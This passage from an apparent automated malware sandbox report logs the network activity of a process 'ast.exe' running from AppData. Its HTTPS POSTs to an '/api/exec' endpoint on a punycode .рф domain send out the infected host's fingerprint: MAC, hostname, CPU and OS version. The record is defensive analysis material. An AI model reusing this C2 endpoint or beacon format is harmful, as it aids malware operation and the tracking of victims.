                                                                                                                                    Nov 19, 2024 18:59:15.904545069 CET44351508212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:59:15.904628992 CET44351508212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:59:15.904767990 CET51508443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:59:15.904824018 CET51508443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:59:15.916841030 CET51511443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:59:15.916893005 CET44351511212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:59:15.916968107 CET51511443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:59:15.917774916 CET51511443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:59:15.917793989 CET44351511212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:59:16.738811970 CET44351511212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:59:16.738878965 CET51511443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:59:16.740401030 CET51511443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:59:16.740410089 CET44351511212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:59:16.740737915 CET44351511212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:59:16.741281033 CET51511443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:59:16.742203951 CET51511443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:59:16.742244959 CET44351511212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:59:16.742285967 CET51511443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:59:16.742410898 CET44351511212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:59:16.742445946 CET44351511212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:59:16.742542982 CET51511443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:59:16.742542982 CET51511443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:59:16.749794960 CET51514443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:59:16.749892950 CET44351514212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:59:16.750135899 CET51514443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:59:16.750363111 CET51514443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:59:16.750396967 CET44351514212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:59:17.544891119 CET44351514212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:59:17.545141935 CET51514443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:59:17.546382904 CET51514443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:59:17.546411991 CET44351514212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:59:17.546696901 CET44351514212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:59:17.547360897 CET51514443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:59:17.547740936 CET51514443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:59:17.547740936 CET51514443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:59:17.547782898 CET44351514212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:59:17.547889948 CET44351514212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:59:17.547919989 CET44351514212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:59:17.547991991 CET51514443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:59:17.547991991 CET51514443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:59:17.575262070 CET51517443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:59:17.575294018 CET44351517212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:59:17.575728893 CET51517443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:59:17.575728893 CET51517443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:59:17.575757027 CET44351517212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:59:18.406161070 CET44351517212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:59:18.406255007 CET51517443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:59:20.941984892 CET51517443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:59:20.942003965 CET44351517212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:59:20.942389965 CET44351517212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:59:20.943331957 CET51517443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:59:20.943728924 CET51517443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:59:20.943758011 CET44351517212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:59:20.943880081 CET51517443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:59:20.943885088 CET44351517212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:59:20.943919897 CET44351517212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:59:20.943964958 CET51517443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:59:20.943964958 CET51517443192.168.2.8212.193.169.65

                                                                                                                                    UDP Packets

                                                                                                                                    TimestampSource PortDest PortSource IPDest IP
                                                                                                                                    Nov 19, 2024 18:57:33.291421890 CET53602821.1.1.1192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:33.384185076 CET6457253192.168.2.81.1.1.1
                                                                                                                                    Nov 19, 2024 18:58:33.484355927 CET53645721.1.1.1192.168.2.8

                                                                                                                                    DNS Queries

                                                                                                                                    TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                    Nov 19, 2024 18:58:33.384185076 CET192.168.2.81.1.1.10x25a3Standard query (0)id.xn--80akicokc0aablc.xn--p1aiA (IP address)IN (0x0001)false

                                                                                                                                    DNS Answers

                                                                                                                                    TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                    Nov 19, 2024 18:58:33.484355927 CET1.1.1.1192.168.2.80x25a3No error (0)id.xn--80akicokc0aablc.xn--p1ai212.193.169.65A (IP address)IN (0x0001)false

                                                                                                                                    HTTP Request Dependency Graph

                                                                                                                                    • id.xn--80akicokc0aablc.xn--p1ai:443

                                                                                                                                    HTTPS Proxied Packets

                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    0192.168.2.851373212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:58:35 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:58:35 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    1192.168.2.851376212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:58:36 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:58:36 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    2192.168.2.851379212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:58:37 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:58:37 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    3192.168.2.851382212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:58:38 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:58:38 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    4192.168.2.851385212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:58:39 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:58:39 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    5192.168.2.851388212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:58:40 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:58:40 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    6192.168.2.851391212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:58:40 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:58:40 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    7192.168.2.851394212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:58:42 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:58:42 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.
                                                                                                                                    2024-11-19 17:58:42 UTC403OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.19045) x64


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    8192.168.2.851403212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:58:44 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:58:44 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    9192.168.2.851406212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:58:45 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:58:45 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    10192.168.2.851409212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:58:46 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:58:46 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    11192.168.2.851412212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:58:47 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
